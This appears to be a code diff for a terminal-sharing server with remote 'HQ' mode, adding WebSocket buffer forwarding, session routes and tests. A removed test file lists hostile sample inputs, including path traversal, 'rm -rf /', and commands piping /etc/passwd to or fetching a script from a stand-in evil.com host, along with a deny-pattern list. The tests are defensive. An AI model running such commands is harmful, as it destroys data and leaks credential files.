const heartbeat = setInterval(() => {
res.write(':heartbeat\n\n');
}, 30000);
// Clean up on disconnect
req.on('close', () => {
console.log(`[STREAM] SSE client disconnected from session ${sessionId}`);
streamWatcher.removeClient(sessionId, res);
clearInterval(heartbeat);
});
});
// Send input to session
router.post('/sessions/:sessionId/input', async (req, res) => {
const sessionId = req.params.sessionId;
const { text, key } = req.body;
// Validate that only one of text or key is provided
if ((text === undefined && key === undefined) || (text !== undefined && key !== undefined)) {
return res.status(400).json({ error: 'Either text or key must be provided, but not both' });
}
if (text !== undefined && typeof text !== 'string') {
return res.status(400).json({ error: 'Text must be a string' });
}
if (key !== undefined && typeof key !== 'string') {
return res.status(400).json({ error: 'Key must be a string' });
}
try {
// If in HQ mode, check if this is a remote session
if (isHQMode && remoteRegistry) {
const remote = remoteRegistry.getRemoteBySessionId(sessionId);
if (remote) {
// Forward input to remote server
try {
const response = await fetch(`${remote.url}/api/sessions/${sessionId}/input`, {
method: 'POST',
headers: {
'Content-Type': 'application/json',
Authorization: `Bearer ${remote.token}`,
},
body: JSON.stringify(req.body),
signal: AbortSignal.timeout(5000),
});
if (!response.ok) {
return res.status(response.status).json(await response.json());
}
return res.json(await response.json());
} catch (error) {
console.error(`Failed to send input to remote ${remote.name}:`, error);
return res.status(503).json({ error: 'Failed to reach remote server' });
}
}
}
// Local session handling
const session = ptyManager.getSession(sessionId);
if (!session) {
console.error(`Session ${sessionId} not found for input`);
return res.status(404).json({ error: 'Session not found' });
}
if (session.status !== 'running') {
console.error(`Session ${sessionId} is not running (status: ${session.status})`);
return res.status(400).json({ error: 'Session is not running' });
}
const inputData = text !== undefined ? { text } : { key };
console.log(`Sending input to session ${sessionId}: ${JSON.stringify(inputData)}`);
ptyManager.sendInput(sessionId, inputData);
res.json({ success: true });
} catch (error) {
console.error('Error sending input:', error);
if (error instanceof PtyError) {
res.status(500).json({ error: 'Failed to send input', details: error.message });
} else {
res.status(500).json({ error: 'Failed to send input' });
}
}
});
// Resize session
router.post('/sessions/:sessionId/resize', async (req, res) => {
const sessionId = req.params.sessionId;
const { cols, rows } = req.body;
if (typeof cols !== 'number' || typeof rows !== 'number') {
return res.status(400).json({ error: 'Cols and rows must be numbers' });
}
if (cols < 1 || rows < 1 || cols > 1000 || rows > 1000) {
return res.status(400).json({ error: 'Cols and rows must be between 1 and 1000' });
}
console.log(`Resizing session ${sessionId} to ${cols}x${rows}`);
try {
// If in HQ mode, check if this is a remote session
if (isHQMode && remoteRegistry) {
const remote = remoteRegistry.getRemoteBySessionId(sessionId);
if (remote) {
// Forward resize to remote server
try {
const response = await fetch(`${remote.url}/api/sessions/${sessionId}/resize`, {
method: 'POST',
headers: {
'Content-Type': 'application/json',
Authorization: `Bearer ${remote.token}`,
},
body: JSON.stringify({ cols, rows }),
signal: AbortSignal.timeout(5000),
});
if (!response.ok) {
return res.status(response.status).json(await response.json());
}
return res.json(await response.json());
} catch (error) {
console.error(`Failed to resize session on remote ${remote.name}:`, error);
return res.status(503).json({ error: 'Failed to reach remote server' });
}
}
}
// Local session handling
const session = ptyManager.getSession(sessionId);
if (!session) {
console.error(`Session ${sessionId} not found for resize`);
return res.status(404).json({ error: 'Session not found' });
}
if (session.status !== 'running') {
console.error(`Session ${sessionId} is not running (status: ${session.status})`);
return res.status(400).json({ error: 'Session is not running' });
}
// Resize the session
ptyManager.resizeSession(sessionId, cols, rows);
console.log(`Successfully resized session ${sessionId} to ${cols}x${rows}`);
res.json({ success: true, cols, rows });
} catch (error) {
console.error('Error resizing session via PTY service:', error);
if (error instanceof PtyError) {
res.status(500).json({ error: 'Failed to resize session', details: error.message });
} else {
res.status(500).json({ error: 'Failed to resize session' });
}
}
});
return router;
}

View file

@ -0,0 +1,399 @@
import { WebSocket } from 'ws';
import chalk from 'chalk';
import { RemoteRegistry } from './remote-registry.js';
import { TerminalManager } from './terminal-manager.js';
interface BufferAggregatorConfig {
terminalManager: TerminalManager;
remoteRegistry: RemoteRegistry | null;
isHQMode: boolean;
}
interface RemoteWebSocketConnection {
ws: WebSocket;
remoteId: string;
remoteName: string;
subscriptions: Set<string>;
}
export class BufferAggregator {
private config: BufferAggregatorConfig;
private remoteConnections: Map<string, RemoteWebSocketConnection> = new Map();
private clientSubscriptions: Map<WebSocket, Map<string, () => void>> = new Map();
constructor(config: BufferAggregatorConfig) {
this.config = config;
}
/**
* Handle a new client WebSocket connection
*/
async handleClientConnection(ws: WebSocket): Promise<void> {
console.log(chalk.blue('[BufferAggregator] New client connected'));
// Initialize subscription map for this client
this.clientSubscriptions.set(ws, new Map());
// Send welcome message
ws.send(JSON.stringify({ type: 'connected', version: '1.0' }));
// Handle messages from client
ws.on('message', async (message: Buffer) => {
try {
const data = JSON.parse(message.toString());
await this.handleClientMessage(ws, data);
} catch (error) {
console.error('[BufferAggregator] Error handling client message:', error);
ws.send(
JSON.stringify({
type: 'error',
message: 'Invalid message format',
})
);
}
});
// Handle disconnection
ws.on('close', () => {
this.handleClientDisconnect(ws);
});
ws.on('error', (error) => {
console.error(chalk.red('[BufferAggregator] Client WebSocket error:'), error);
});
}
/**
* Handle messages from a client
*/
private async handleClientMessage(
clientWs: WebSocket,
data: { type: string; sessionId?: string }
): Promise<void> {
const subscriptions = this.clientSubscriptions.get(clientWs);
if (!subscriptions) return;
if (data.type === 'subscribe' && data.sessionId) {
const sessionId = data.sessionId;
// Unsubscribe if already subscribed
if (subscriptions.has(sessionId)) {
const existingUnsubscribe = subscriptions.get(sessionId);
if (existingUnsubscribe) {
existingUnsubscribe();
}
subscriptions.delete(sessionId);
}
// Check if this is a local or remote session
const isRemoteSession =
this.config.isHQMode &&
this.config.remoteRegistry &&
this.config.remoteRegistry.getRemoteBySessionId(sessionId);
if (isRemoteSession) {
// Subscribe to remote session
await this.subscribeToRemoteSession(clientWs, sessionId, isRemoteSession.id);
} else {
// Subscribe to local session
await this.subscribeToLocalSession(clientWs, sessionId);
}
clientWs.send(JSON.stringify({ type: 'subscribed', sessionId }));
console.log(`[BufferAggregator] Client subscribed to session ${sessionId}`);
} else if (data.type === 'unsubscribe' && data.sessionId) {
const sessionId = data.sessionId;
const unsubscribe = subscriptions.get(sessionId);
if (unsubscribe) {
unsubscribe();
subscriptions.delete(sessionId);
console.log(`[BufferAggregator] Client unsubscribed from session ${sessionId}`);
}
// Also unsubscribe from remote if applicable
if (this.config.isHQMode && this.config.remoteRegistry) {
const remote = this.config.remoteRegistry.getRemoteBySessionId(sessionId);
if (remote) {
const remoteConn = this.remoteConnections.get(remote.id);
if (remoteConn) {
remoteConn.subscriptions.delete(sessionId);
if (remoteConn.ws.readyState === WebSocket.OPEN) {
remoteConn.ws.send(JSON.stringify({ type: 'unsubscribe', sessionId }));
}
}
}
}
} else if (data.type === 'ping') {
clientWs.send(JSON.stringify({ type: 'pong', timestamp: Date.now() }));
}
}
/**
* Subscribe a client to a local session
*/
private async subscribeToLocalSession(clientWs: WebSocket, sessionId: string): Promise<void> {
const subscriptions = this.clientSubscriptions.get(clientWs);
if (!subscriptions) return;
try {
const unsubscribe = await this.config.terminalManager.subscribeToBufferChanges(
sessionId,
(sessionId: string, snapshot: Parameters<TerminalManager['encodeSnapshot']>[0]) => {
try {
const buffer = this.config.terminalManager.encodeSnapshot(snapshot);
const sessionIdBuffer = Buffer.from(sessionId, 'utf8');
const totalLength = 1 + 4 + sessionIdBuffer.length + buffer.length;
const fullBuffer = Buffer.allocUnsafe(totalLength);
let offset = 0;
fullBuffer.writeUInt8(0xbf, offset); // Magic byte for binary message
offset += 1;
fullBuffer.writeUInt32LE(sessionIdBuffer.length, offset);
offset += 4;
sessionIdBuffer.copy(fullBuffer, offset);
offset += sessionIdBuffer.length;
buffer.copy(fullBuffer, offset);
if (clientWs.readyState === WebSocket.OPEN) {
clientWs.send(fullBuffer);
}
} catch (error) {
console.error('[BufferAggregator] Error encoding buffer update:', error);
}
}
);
subscriptions.set(sessionId, unsubscribe);
// Send initial buffer
const initialSnapshot = await this.config.terminalManager.getBufferSnapshot(sessionId);
const buffer = this.config.terminalManager.encodeSnapshot(initialSnapshot);
const sessionIdBuffer = Buffer.from(sessionId, 'utf8');
const totalLength = 1 + 4 + sessionIdBuffer.length + buffer.length;
const fullBuffer = Buffer.allocUnsafe(totalLength);
let offset = 0;
fullBuffer.writeUInt8(0xbf, offset);
offset += 1;
fullBuffer.writeUInt32LE(sessionIdBuffer.length, offset);
offset += 4;
sessionIdBuffer.copy(fullBuffer, offset);
offset += sessionIdBuffer.length;
buffer.copy(fullBuffer, offset);
if (clientWs.readyState === WebSocket.OPEN) {
clientWs.send(fullBuffer);
}
} catch (error) {
console.error(`[BufferAggregator] Error subscribing to local session ${sessionId}:`, error);
clientWs.send(JSON.stringify({ type: 'error', message: 'Failed to subscribe to session' }));
}
}
/**
* Subscribe a client to a remote session
*/
private async subscribeToRemoteSession(
clientWs: WebSocket,
sessionId: string,
remoteId: string
): Promise<void> {
// Ensure we have a connection to this remote
let remoteConn = this.remoteConnections.get(remoteId);
if (!remoteConn || remoteConn.ws.readyState !== WebSocket.OPEN) {
// Need to connect to remote
const connected = await this.connectToRemote(remoteId);
if (!connected) {
clientWs.send(
JSON.stringify({ type: 'error', message: 'Failed to connect to remote server' })
);
return;
}
remoteConn = this.remoteConnections.get(remoteId);
}
if (!remoteConn) return;
// Subscribe to the session on the remote
remoteConn.subscriptions.add(sessionId);
remoteConn.ws.send(JSON.stringify({ type: 'subscribe', sessionId }));
// Store an unsubscribe function for the client
const subscriptions = this.clientSubscriptions.get(clientWs);
if (subscriptions) {
subscriptions.set(sessionId, () => {
// Will be handled in the unsubscribe message handler
});
}
}
/**
* Connect to a remote server's WebSocket
*/
private async connectToRemote(remoteId: string): Promise<boolean> {
if (!this.config.remoteRegistry) return false;
const remote = this.config.remoteRegistry.getRemote(remoteId);
if (!remote) return false;
try {
// Convert HTTP URL to WebSocket URL
const wsUrl = remote.url.replace(/^http/, 'ws');
const ws = new WebSocket(wsUrl, {
headers: {
Authorization: `Bearer ${remote.token}`,
},
});
await new Promise<void>((resolve, reject) => {
const timeout = setTimeout(() => {
reject(new Error('Connection timeout'));
}, 5000);
ws.on('open', () => {
clearTimeout(timeout);
resolve();
});
ws.on('error', (error) => {
clearTimeout(timeout);
reject(error);
});
});
const remoteConn: RemoteWebSocketConnection = {
ws,
remoteId: remote.id,
remoteName: remote.name,
subscriptions: new Set(),
};
this.remoteConnections.set(remoteId, remoteConn);
// Handle messages from remote
ws.on('message', (data: Buffer) => {
this.handleRemoteMessage(remoteId, data);
});
// Handle disconnection
ws.on('close', () => {
console.log(chalk.yellow(`[BufferAggregator] Disconnected from remote ${remote.name}`));
this.remoteConnections.delete(remoteId);
});
ws.on('error', (error) => {
console.error(
chalk.red(`[BufferAggregator] Remote ${remote.name} WebSocket error:`),
error
);
});
console.log(chalk.green(`[BufferAggregator] Connected to remote ${remote.name}`));
return true;
} catch (error) {
console.error(
chalk.red(`[BufferAggregator] Failed to connect to remote ${remoteId}:`),
error
);
return false;
}
}
/**
* Handle messages from a remote server
*/
private handleRemoteMessage(remoteId: string, data: Buffer): void {
// Check if this is a binary buffer update
if (data.length > 0 && data[0] === 0xbf) {
// Forward to all clients subscribed to sessions from this remote
this.forwardBufferToClients(data);
} else {
// JSON message
try {
const message = JSON.parse(data.toString());
console.log(`[BufferAggregator] Remote ${remoteId} message:`, message.type);
} catch (error) {
console.error(`[BufferAggregator] Failed to parse remote message:`, error);
}
}
}
/**
* Forward a buffer update to all subscribed clients
*/
private forwardBufferToClients(buffer: Buffer): void {
// Extract session ID from buffer
if (buffer.length < 5) return;
const sessionIdLength = buffer.readUInt32LE(1);
if (buffer.length < 5 + sessionIdLength) return;
const sessionId = buffer.subarray(5, 5 + sessionIdLength).toString('utf8');
// Forward to all clients subscribed to this session
for (const [clientWs, subscriptions] of this.clientSubscriptions) {
if (subscriptions.has(sessionId) && clientWs.readyState === WebSocket.OPEN) {
clientWs.send(buffer);
}
}
}
/**
* Handle client disconnection
*/
private handleClientDisconnect(ws: WebSocket): void {
const subscriptions = this.clientSubscriptions.get(ws);
if (subscriptions) {
// Unsubscribe from all sessions
for (const [_sessionId, unsubscribe] of subscriptions) {
unsubscribe();
}
subscriptions.clear();
}
this.clientSubscriptions.delete(ws);
console.log(chalk.yellow('[BufferAggregator] Client disconnected'));
}
/**
* Register a new remote server (called when a remote registers with HQ)
*/
async onRemoteRegistered(remoteId: string): Promise<void> {
// Optionally pre-connect to the remote
await this.connectToRemote(remoteId);
}
/**
* Handle remote server unregistration
*/
onRemoteUnregistered(remoteId: string): void {
const remoteConn = this.remoteConnections.get(remoteId);
if (remoteConn) {
remoteConn.ws.close();
this.remoteConnections.delete(remoteId);
}
}
/**
* Clean up all connections
*/
destroy(): void {
// Close all client connections
for (const [ws] of this.clientSubscriptions) {
ws.close();
}
this.clientSubscriptions.clear();
// Close all remote connections
for (const [_, remoteConn] of this.remoteConnections) {
remoteConn.ws.close();
}
this.remoteConnections.clear();
}
}

View file

@ -0,0 +1,136 @@
import * as fs from 'fs';
import * as path from 'path';
import chalk from 'chalk';
import { RemoteRegistry } from './remote-registry.js';
import { HQClient } from './hq-client.js';
interface ControlDirWatcherConfig {
controlDir: string;
remoteRegistry: RemoteRegistry | null;
isHQMode: boolean;
hqClient: HQClient | null;
}
export class ControlDirWatcher {
private watcher: fs.FSWatcher | null = null;
private config: ControlDirWatcherConfig;
constructor(config: ControlDirWatcherConfig) {
this.config = config;
}
start(): void {
// Create control directory if it doesn't exist
if (!fs.existsSync(this.config.controlDir)) {
console.log(
chalk.yellow(`Control directory ${this.config.controlDir} does not exist, creating it...`)
);
fs.mkdirSync(this.config.controlDir, { recursive: true });
}
this.watcher = fs.watch(
this.config.controlDir,
{ persistent: true },
async (eventType, filename) => {
if (eventType === 'rename' && filename) {
await this.handleFileChange(filename);
}
}
);
console.log(chalk.green(`Control directory watcher started for ${this.config.controlDir}`));
}
private async handleFileChange(filename: string): Promise<void> {
const sessionPath = path.join(this.config.controlDir, filename);
const sessionJsonPath = path.join(sessionPath, 'session.json');
try {
// Give it a moment for the session.json to be written
await new Promise((resolve) => setTimeout(resolve, 100));
if (fs.existsSync(sessionJsonPath)) {
// Session was created
const sessionData = JSON.parse(fs.readFileSync(sessionJsonPath, 'utf8'));
const sessionId = sessionData.session_id || filename;
console.log(chalk.blue(`Detected new external session: ${sessionId}`));
// If we're a remote server registered with HQ, immediately notify HQ
if (this.config.hqClient) {
try {
await this.notifyHQAboutSession(sessionId, 'created');
} catch (error) {
console.error(chalk.red(`Failed to notify HQ about new session ${sessionId}:`), error);
}
}
// If we're in HQ mode and this is a local session, no special handling needed
// The session is already tracked locally
} else if (!fs.existsSync(sessionPath)) {
// Session directory was removed
const sessionId = filename;
console.log(chalk.yellow(`Detected removed external session: ${sessionId}`));
// If we're a remote server registered with HQ, immediately notify HQ
if (this.config.hqClient) {
try {
await this.notifyHQAboutSession(sessionId, 'deleted');
} catch (error) {
console.error(
chalk.red(`Failed to notify HQ about deleted session ${sessionId}:`),
error
);
}
}
// If in HQ mode, remove from tracking
if (this.config.isHQMode && this.config.remoteRegistry) {
this.config.remoteRegistry.removeSessionFromRemote(sessionId);
}
}
} catch (error) {
console.error(chalk.red(`Error handling file change for ${filename}:`), error);
}
}
private async notifyHQAboutSession(
sessionId: string,
action: 'created' | 'deleted'
): Promise<void> {
if (!this.config.hqClient) return;
const hqUrl = this.config.hqClient.getHQUrl();
const hqAuth = this.config.hqClient.getHQAuth();
const remoteName = this.config.hqClient.getName();
// Notify HQ about session change
// For now, we'll trigger a session list refresh by calling the HQ's session endpoint
// This will cause HQ to update its registry with the latest session information
const response = await fetch(`${hqUrl}/api/remotes/${remoteName}/refresh-sessions`, {
method: 'POST',
headers: {
'Content-Type': 'application/json',
Authorization: hqAuth,
},
body: JSON.stringify({
action,
sessionId,
}),
});
if (!response.ok) {
throw new Error(`HQ responded with ${response.status}`);
}
console.log(chalk.green(`Notified HQ about ${action} session ${sessionId}`));
}
stop(): void {
if (this.watcher) {
this.watcher.close();
this.watcher = null;
console.log(chalk.yellow('Control directory watcher stopped'));
}
}
}

View file

@ -7,14 +7,23 @@ export class HQClient {
private readonly token: string;
private readonly hqUsername: string;
private readonly hqPassword: string;
private readonly remoteUrl: string;
constructor(hqUrl: string, hqUsername: string, hqPassword: string, remoteName: string) {
constructor(
hqUrl: string,
hqUsername: string,
hqPassword: string,
remoteName: string,
remoteUrl: string,
bearerToken: string
) {
this.hqUrl = hqUrl;
this.remoteId = uuidv4();
this.remoteName = remoteName;
this.token = uuidv4();
this.token = bearerToken;
this.hqUsername = hqUsername;
this.hqPassword = hqPassword;
this.remoteUrl = remoteUrl;
}
async register(): Promise<void> {
@ -28,7 +37,7 @@ export class HQClient {
body: JSON.stringify({
id: this.remoteId,
name: this.remoteName,
url: `http://localhost:${process.env.PORT || 4020}`,
url: this.remoteUrl,
token: this.token, // Token for HQ to authenticate with this remote
}),
});
@ -69,4 +78,17 @@ export class HQClient {
getToken(): string {
return this.token;
}
getHQUrl(): string {
return this.hqUrl;
}
getHQAuth(): string {
const credentials = Buffer.from(`${this.hqUsername}:${this.hqPassword}`).toString('base64');
return `Basic ${credentials}`;
}
getName(): string {
return this.remoteName;
}
}

View file

@ -95,6 +95,26 @@ export class RemoteRegistry {
}
}
addSessionToRemote(remoteId: string, sessionId: string): void {
const remote = this.remotes.get(remoteId);
if (!remote) return;
remote.sessionIds.add(sessionId);
this.sessionToRemote.set(sessionId, remoteId);
}
removeSessionFromRemote(sessionId: string): void {
const remoteId = this.sessionToRemote.get(sessionId);
if (!remoteId) return;
const remote = this.remotes.get(remoteId);
if (remote) {
remote.sessionIds.delete(sessionId);
}
this.sessionToRemote.delete(sessionId);
}
private async checkRemoteHealth(remote: RemoteServer): Promise<void> {
try {
const controller = new AbortController();
@ -105,31 +125,16 @@ export class RemoteRegistry {
Authorization: `Bearer ${remote.token}`,
};
// First try health endpoint, fall back to sessions
let response = await fetch(`${remote.url}/api/health`, {
// Only check health endpoint - all remotes MUST have it
const response = await fetch(`${remote.url}/api/health`, {
headers,
signal: controller.signal,
}).catch(() => null);
// If health endpoint doesn't exist, try sessions
if (!response || response.status === 404) {
response = await fetch(`${remote.url}/api/sessions`, {
headers,
signal: controller.signal,
});
}
});
clearTimeout(timeoutId);
if (response.ok) {
remote.lastHeartbeat = new Date();
// If we got sessions, update the session tracking
if (response.url.endsWith('/api/sessions')) {
const sessions = await response.json();
const sessionIds = Array.isArray(sessions) ? sessions.map((s: any) => s.id) : [];
this.updateRemoteSessions(remote.id, sessionIds);
}
} else {
throw new Error(`HTTP ${response.status}`);
}

View file

@ -1,7 +1,7 @@
import * as fs from 'fs';
interface StreamClient {
response: any; // Express Response type
response: import('express').Response;
startTime: number;
}
@ -18,7 +18,7 @@ export class StreamWatcher {
/**
* Add a client to watch a stream file
*/
addClient(sessionId: string, streamPath: string, response: any): void {
addClient(sessionId: string, streamPath: string, response: import('express').Response): void {
const startTime = Date.now() / 1000;
const client: StreamClient = { response, startTime };
@ -59,7 +59,7 @@ export class StreamWatcher {
/**
* Remove a client
*/
removeClient(sessionId: string, response: any): void {
removeClient(sessionId: string, response: import('express').Response): void {
const watcherInfo = this.activeWatchers.get(sessionId);
if (!watcherInfo) return;

View file

@ -608,7 +608,10 @@ export class TerminalManager {
this.bufferListeners.set(sessionId, new Set());
}
this.bufferListeners.get(sessionId)!.add(listener);
const listeners = this.bufferListeners.get(sessionId);
if (listeners) {
listeners.add(listener);
}
// Return unsubscribe function
return () => {

View file

@ -1,372 +0,0 @@
import { describe, it, expect, vi, beforeEach, afterEach } from 'vitest';
import { spawn } from 'child_process';
import { EventEmitter } from 'events';
// Mock modules
vi.mock('child_process', () => ({
spawn: vi.fn(),
}));
vi.mock('fs', () => ({
default: {
existsSync: vi.fn(() => true),
mkdirSync: vi.fn(),
readFileSync: vi.fn(() => '{"lines": ["test"], "cursor": {"x": 0, "y": 0}}'),
readdirSync: vi.fn(() => []),
statSync: vi.fn(() => ({ isDirectory: () => true })),
},
}));
vi.mock('os', () => ({
default: {
homedir: () => '/home/test',
},
}));
describe('Critical VibeTunnel Functionality', () => {
let mockSpawn: ReturnType<typeof vi.fn>;
beforeEach(() => {
vi.clearAllMocks();
mockSpawn = vi.mocked(spawn);
// Default mock for tty-fwd success
const mockTtyFwdProcess = {
stdout: {
on: vi.fn((event, callback) => {
if (event === 'data') {
callback(Buffer.from('{}'));
}
}),
},
stderr: { on: vi.fn() },
on: vi.fn((event, callback) => {
if (event === 'close') callback(0);
}),
kill: vi.fn(),
};
mockSpawn.mockReturnValue(mockTtyFwdProcess);
});
afterEach(() => {
vi.restoreAllMocks();
});
describe('Session Management', () => {
it('should spawn a new terminal session', async () => {
// Mock successful session creation
mockSpawn.mockImplementationOnce(() => ({
stdout: {
on: vi.fn((event, callback) => {
if (event === 'data') {
callback(Buffer.from('session-123'));
}
}),
},
stderr: { on: vi.fn() },
on: vi.fn((event, callback) => {
if (event === 'close') callback(0);
}),
kill: vi.fn(),
}));
// Execute spawn command
const args = ['spawn', '--name', 'Test Session', '--cwd', '/home/test', '--', 'bash'];
const proc = mockSpawn('tty-fwd', args);
let sessionId = '';
proc.stdout.on('data', (data: Buffer) => {
sessionId = data.toString().trim();
});
// Wait for process to complete
await new Promise((resolve) => {
proc.on('close', resolve);
});
expect(sessionId).toBe('session-123');
expect(mockSpawn).toHaveBeenCalledWith('tty-fwd', args);
});
it('should list active sessions', async () => {
const mockSessions = {
'session-1': {
cmdline: ['bash'],
cwd: '/home/test',
exit_code: null,
name: 'bash',
pid: 1234,
started_at: '2024-01-01T00:00:00Z',
status: 'running',
stdin: '/tmp/session-1.stdin',
'stream-out': '/tmp/session-1.out',
waiting: false,
},
};
mockSpawn.mockImplementationOnce(() => ({
stdout: {
on: vi.fn((event, callback) => {
if (event === 'data') {
callback(Buffer.from(JSON.stringify(mockSessions)));
}
}),
},
stderr: { on: vi.fn() },
on: vi.fn((event, callback) => {
if (event === 'close') callback(0);
}),
kill: vi.fn(),
}));
const proc = mockSpawn('tty-fwd', ['list']);
let sessions = {};
proc.stdout.on('data', (data: Buffer) => {
sessions = JSON.parse(data.toString());
});
await new Promise((resolve) => {
proc.on('close', resolve);
});
expect(sessions).toEqual(mockSessions);
expect(Object.keys(sessions)).toHaveLength(1);
});
it('should handle terminal input/output', async () => {
const mockStreamProcess = new EventEmitter() as EventEmitter & {
stdout: EventEmitter;
stderr: EventEmitter;
kill: ReturnType<typeof vi.fn>;
};
mockStreamProcess.stdout = new EventEmitter();
mockStreamProcess.stderr = new EventEmitter();
mockStreamProcess.kill = vi.fn();
mockSpawn.mockImplementationOnce(() => mockStreamProcess);
// Start streaming
const streamData: string[] = [];
const proc = mockSpawn('tty-fwd', ['stream', 'session-123']);
proc.stdout.on('data', (data: Buffer) => {
streamData.push(data.toString());
});
// Simulate terminal output
mockStreamProcess.stdout.emit('data', Buffer.from('$ echo "Hello World"\n'));
mockStreamProcess.stdout.emit('data', Buffer.from('Hello World\n'));
mockStreamProcess.stdout.emit('data', Buffer.from('$ '));
expect(streamData).toEqual(['$ echo "Hello World"\n', 'Hello World\n', '$ ']);
});
it('should terminate sessions cleanly', async () => {
mockSpawn.mockImplementationOnce(() => ({
stdout: {
on: vi.fn((event, callback) => {
if (event === 'data') {
callback(Buffer.from('Session terminated'));
}
}),
},
stderr: { on: vi.fn() },
on: vi.fn((event, callback) => {
if (event === 'close') callback(0);
}),
kill: vi.fn(),
}));
const proc = mockSpawn('tty-fwd', ['terminate', 'session-123']);
let result = '';
proc.stdout.on('data', (data: Buffer) => {
result = data.toString();
});
await new Promise((resolve) => {
proc.on('close', resolve);
});
expect(result).toBe('Session terminated');
});
});
describe('WebSocket Communication', () => {
it('should handle terminal resize events', () => {
const resizeArgs = ['resize', 'session-123', '120', '40'];
mockSpawn('tty-fwd', resizeArgs);
expect(mockSpawn).toHaveBeenCalledWith('tty-fwd', resizeArgs);
});
it('should handle concurrent sessions', async () => {
const sessions = ['session-1', 'session-2', 'session-3'];
const processes = sessions.map((sessionId) => {
return mockSpawn('tty-fwd', ['stream', sessionId]);
});
expect(processes).toHaveLength(3);
expect(mockSpawn).toHaveBeenCalledTimes(3);
});
});
describe('Error Handling', () => {
it('should handle command execution failures', async () => {
mockSpawn.mockImplementationOnce(() => ({
stdout: { on: vi.fn() },
stderr: {
on: vi.fn((event, callback) => {
if (event === 'data') {
callback(Buffer.from('Error: Command not found'));
}
}),
},
on: vi.fn((event, callback) => {
if (event === 'close') callback(1);
}),
kill: vi.fn(),
}));
const proc = mockSpawn('tty-fwd', ['spawn', '--', 'nonexistent-command']);
let error = '';
let exitCode = 0;
proc.stderr.on('data', (data: Buffer) => {
error = data.toString();
});
proc.on('close', (code: number) => {
exitCode = code;
});
await new Promise((resolve) => {
proc.on('close', resolve);
});
expect(exitCode).toBe(1);
expect(error).toContain('Command not found');
});
it('should handle timeout scenarios', () => {
const mockSlowProcess = {
stdout: { on: vi.fn() },
stderr: { on: vi.fn() },
on: vi.fn(),
kill: vi.fn(),
};
mockSpawn.mockImplementationOnce(() => mockSlowProcess);
const proc = mockSpawn('tty-fwd', ['list']);
// Simulate timeout
setTimeout(() => {
proc.kill('SIGTERM');
}, 100);
expect(proc.kill).toBeDefined();
expect(mockSlowProcess.kill).toBeDefined();
});
});
describe('Security and Validation', () => {
it('should validate session IDs', () => {
const validSessionId = 'abc123-def456-789';
const invalidSessionIds = [
'../../../etc/passwd',
'session; rm -rf /',
'$(whoami)',
'',
null,
undefined,
];
const isValidSessionId = (id: unknown) => {
return typeof id === 'string' && /^[a-zA-Z0-9-]+$/.test(id);
};
expect(isValidSessionId(validSessionId)).toBe(true);
invalidSessionIds.forEach((id) => {
expect(isValidSessionId(id)).toBe(false);
});
});
it('should sanitize command arguments', () => {
const dangerousCommands = [
['rm', '-rf', '/'],
['eval', '$(curl evil.com/script.sh)'],
['bash', '-c', 'cat /etc/passwd | curl evil.com'],
];
const isSafeCommand = (cmd: string[]) => {
const dangerousPatterns = [/rm\s+-rf/, /eval/, /curl.*evil/, /\$\(/, /`/];
const cmdString = cmd.join(' ');
return !dangerousPatterns.some((pattern) => pattern.test(cmdString));
};
dangerousCommands.forEach((cmd) => {
expect(isSafeCommand(cmd)).toBe(false);
});
expect(isSafeCommand(['ls', '-la'])).toBe(true);
expect(isSafeCommand(['echo', 'hello'])).toBe(true);
});
});
describe('Performance', () => {
it('should handle rapid session creation', async () => {
const startTime = performance.now();
// Create 10 sessions rapidly
const sessionPromises = Array.from({ length: 10 }, (_, i) => {
return new Promise((resolve) => {
const proc = mockSpawn('tty-fwd', ['spawn', '--', 'bash']);
proc.on('close', () => resolve(i));
});
});
await Promise.all(sessionPromises);
const endTime = performance.now();
const totalTime = endTime - startTime;
// Should complete within reasonable time
expect(totalTime).toBeLessThan(1000); // 1 second for 10 sessions
expect(mockSpawn).toHaveBeenCalledTimes(10);
});
it('should handle large terminal output efficiently', () => {
const largeOutput = 'X'.repeat(100000); // 100KB of data
const mockProcess = new EventEmitter() as EventEmitter & {
stdout: EventEmitter;
stderr: EventEmitter;
kill: ReturnType<typeof vi.fn>;
};
mockProcess.stdout = new EventEmitter();
mockProcess.stderr = new EventEmitter();
mockProcess.kill = vi.fn();
mockSpawn.mockImplementationOnce(() => mockProcess);
const proc = mockSpawn('tty-fwd', ['stream', 'session-123']);
let receivedData = '';
proc.stdout.on('data', (data: Buffer) => {
receivedData += data.toString();
});
// Emit large output
const startTime = performance.now();
mockProcess.stdout.emit('data', Buffer.from(largeOutput));
const endTime = performance.now();
expect(receivedData).toBe(largeOutput);
expect(endTime - startTime).toBeLessThan(100); // Should process quickly
});
});
});

View file

@ -0,0 +1,486 @@
import { describe, it, expect, beforeAll, afterAll } from 'vitest';
import { spawn, ChildProcess } from 'child_process';
import path from 'path';
import fs from 'fs';
import os from 'os';
import { v4 as uuidv4 } from 'uuid';
import WebSocket from 'ws';
describe('HQ Mode E2E Tests', () => {
let hqProcess: ChildProcess | null = null;
const remoteProcesses: ChildProcess[] = [];
let hqPort = 0;
const remotePorts: number[] = [];
const hqUsername = 'hq-admin';
const hqPassword = 'hq-pass123';
const testDirs: string[] = [];
const baseDir = path.join(os.tmpdir(), 'vibetunnel-hq-e2e', uuidv4());
async function sleep(ms: number): Promise<void> {
return new Promise((resolve) => setTimeout(resolve, ms));
}
async function waitForServer(
port: number,
username?: string,
password?: string,
maxAttempts = 30
): Promise<boolean> {
for (let i = 0; i < maxAttempts; i++) {
try {
const headers: Record<string, string> = {};
if (username && password) {
headers.Authorization = `Basic ${Buffer.from(`${username}:${password}`).toString('base64')}`;
}
const response = await fetch(`http://localhost:${port}/api/health`, { headers });
if (response.ok) {
return true;
}
} catch (_e: unknown) {
// Server not ready yet
}
await sleep(1000);
}
return false;
}
async function startServer(
args: string[],
env: Record<string, string>
): Promise<{ process: ChildProcess; port: number }> {
const serverPath = path.join(__dirname, '..', '..', 'server.ts');
console.log(`[DEBUG] Starting server at: ${serverPath}`);
console.log(`[DEBUG] Args: ${args.join(' ')}`);
const serverProcess = spawn('tsx', [serverPath, ...args], {
env: { ...process.env, ...env, NODE_ENV: 'production', FORCE_COLOR: '0' },
stdio: 'pipe',
detached: false, // Ensure child dies with parent
});
return new Promise((resolve, reject) => {
let port = 0;
let resolved = false;
let outputBuffer = '';
serverProcess.stdout?.on('data', (data) => {
const chunk = data.toString();
outputBuffer += chunk;
console.log(`[SERVER OUTPUT] ${chunk.trim()}`);
// Extract port from "VibeTunnel Server running on" message
const portMatch = outputBuffer.match(
/VibeTunnel Server running on http:\/\/localhost:(\d+)/
);
